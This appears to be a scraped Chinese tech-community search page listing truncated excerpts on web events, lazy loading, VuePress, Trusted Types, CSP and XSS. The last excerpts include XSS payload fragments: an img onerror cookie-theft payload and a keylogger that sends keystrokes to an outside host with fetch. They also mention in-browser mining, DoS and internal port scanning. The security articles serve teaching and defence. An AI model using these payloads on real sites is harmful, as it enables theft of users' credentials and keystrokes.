首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

用框架的你,可能早已忽略了这些事件API

id="img" src="https://en.js.cx/clipart/train.gif?...你可能在某些网站上看到过(如果你使用浏览器自动填充)—— 登录名/密码字段不会立即自动填充,而是页面被完全加载前会延迟填充。这实际上是 DOMContentLoaded 事件之前的延迟。...}x${img.offsetHeight}`); }; <img id="img" src="https://en.js.cx/clipart/train.gif?...当用户想要离开页面,window 上的 beforeunload 事件就会被触发。如果我们取消这个事件,浏览器就会询问我们是否真的要离开(例如,我们有未保存的更改)。...当用户最终离开,window 上的 unload 事件就会被触发。处理程序中,我们只能执行不涉及延迟或询问用户的简单操作。正是由于这个限制,它很少被使用

1.7K10

懒加载图片以获取最佳性能的最佳方案

该功能的重点是使浏览器可以控制何时请求图像或iframe资源,这使得开发工作更加容易。在此前,唯一的选择是使用JavaScript插件来监视视口更改并动态加载资源。...现在,浏览器也可以原生支持(懒加载)。 写此文时候(原文dev.to上是2020年8月31日发布),大约73% of currently used browsers支持这个特性,这还不赖。...lazy - 一旦资源视口就加载它 尽管上面的取值有特定的使用案例,但是,我们通常希望对折叠以上(视口)的资源使用eager,对折叠以下的资源使用lazy。...标记图片 我们希望JavaScript函数基于浏览器原生支持的特性来开启图像加载过程。为此,我们将图像的路径添加到data-src而不是src。...代码 对于原生懒加载,我们只需要对img分配data-src值给src值,对source分配data-srcset值给srcset值,剩下的事情就交给浏览器了。

1.2K21

手把手教你用vuepress搭建自己的网站(3)

#%E6%8F%92%E4%BB%B6%E7%9A%84%E7%BC%A9%E5%86%99 支持-PWA vuepress有一个比较好的优势, 就是它是支持 PWA,也是支持响应式的,无论是pc端浏览还是在手机端浏览器浏览...介绍 打开 chrome 的控制台,审查元素,找到valine评论的 ID,index.styl文件中,即可写入样式,进行更改,只要你想改主题中的样式,都可以通过这种方式,它会默认覆盖原有的样式 //...如果要对默认设置的样式进行简单颜色替换, 或者自定义一些颜色变量供以后使用, 可以.vuepress/styles中的palette.styl文件进行更改,这个文件是你手动创建的 你可以调整的颜色变量...= 1440px $MQNarrow ?= 1024px $MQMobile ?= 768px $MQMobileNarrow ?...,怎么修改配置,能达到自己的效果就可以了的 限于篇幅所致,更多配配置见后文...

1.2K20

聊一下 Chrome 新增的可信类型(Trusted types)

许多情况下,消除 XSS 攻击可以使用户免受更复杂的攻击。 XSS 有两种不同的类型,某些 XSS 漏洞是由服务器端代码导致的,这些代码不安全地创建了构成网站的 HTML 代码。...为了防止服务器端 XSS ,不要通过连接字符串来生成 HTML ,而是使用安全的上下文自动转义模板库。当你避免不了使用这种方式,可以使用 nonce-based 的安全策略来对其进行额外的防御。...TypeError 并阻止将 DOM XSS 接收器与字符串一起使用 : document.innerHTML = ''; 如果你用下面这种安全的方式创建了...DOM,浏览器则不会抛出错误: el.textContent = ''; const img = document.createElement('img'); img.src = 'code秘密花园....src=x" } } 这表示 https://csp.reporter.example/script.js 第 39 行 innerHTML 中以 <img src=x 开头的字符串被阻止调用

2.6K20

腾讯EdgeOne产品测评体验—边缘函数实现自适应图片格式转换

实现论坛站点自适应图片格式转换有多种方法,本文分别以浏览器JavaScript检测替换和EdgeOne Worker边缘函数两种方法为例,做一个差异化对比。...JavaScript检测替换逻辑通过浏览器JavaScript检测替换图片格式主要有以下两个步骤 1. 检测WebP支持:创建一个新的Image对象。 a....替换图片地址:根据上一步的检测结果,决定使用WebP格式的图片还是传统的JPEG或PNG格式的图片。 a. 更改图片元素的src属性,指向相应格式的图片地址。...选择加速区域,根据个人或企业的实际需求进行考量。如果希望网站能够覆盖全球用户,那么选择全球可用区(即境内+境外)。...总结通过这次差异化对比,我做出了以下几点总结:在用JavaScript检测替换图片格式需要注意的是,使用Base64编码的小尺寸WebP图片来检测支持性是一种常见做法,但这样做会增加页面的加载负担。

19121

XSS手工利用方式-FreeBuf.COM

0×01获取cookie img标签 <img src=x onerror = document.body.appendChild(document.createElement('img'))....不过这种DOS攻击,也会大大影响浏览器客户端的性能,但是可以通过控制发包数量,当有多个浏览器访问该js,可以达到单个客户端性能损失很小,受害者目标系统性能损失很大,来实现DOS攻击。...这个网站提供了丰富的设置,可以调整挖矿时限制CPU使用率,如果调低一些CPU使用率,人们访问网站不查看网站代码访问者很难发现。 ?...要想使用该网站,首先需要在该网站上进行注册,利用它的js引擎受害者的浏览器上挖矿,同时该网站也会自动扣除一部分算力作为费用。...> 0×04探测内网端口 WebRTC实现了基于网页的视频会议,标准是WHATWG 协议,目的是通过浏览器提供简单的javascript就可以达到实时通讯(Real-Time Communications

1.8K110

你不可不知的WEB安全知识(第一部分:HTTPS, TLS, SSL, CORS, CSP)

此加密使用两个密钥,一个称为公钥,另一个称为私钥。 1、公钥:浏览器和网站之间共享。 2、私钥:此密钥用于解密由公钥加密的信息,并且不会在服务器之外共享。 ?...TLS和SSL有什么区别 SSL是TSL的旧版本,国际互联网工程任务组(IETF)继Netscape之后负责SSL的发展,其名称已更改,如今一些开发人员使用SSL和TLS来指代同一事物。...点击劫持:也被称为 “UI覆盖攻击” ,是指攻击者诱使用单击顶层,实际是点击了透明或不透明的按钮,链接到另外的页面。...img-src: 定义图片来源,示例:img-src ‘self’ img.example.com; style-src: 定义CSS文件来源,示例:style-src ‘self’ css.example.com...‘self’; img-src ‘self’; style-src ‘self’; ?

1.2K31

XSS相关Payload及Bypass的备忘录(上)

这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。...UTF-16be编码绕过 - 使用UTF-32编码绕过 - 使用BOM(浏览器对象模型)绕过 - 使用奇怪的编码绕过 - CSP(内容安全策略)绕过 - 常见的WAF绕过 ---- 利用代码或POC...键盘记录器 使用JavaScript键盘记录器来收集敏感数据 <img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com...+ 使用VBscript的XSS(只能用于IE浏览器) vbscript...该服务通过承载专门的XSS探测来工作,这些探测触发扫描页面并将有关脆弱页面的信息发送给XSS Hunter服务。

4.3K40
领券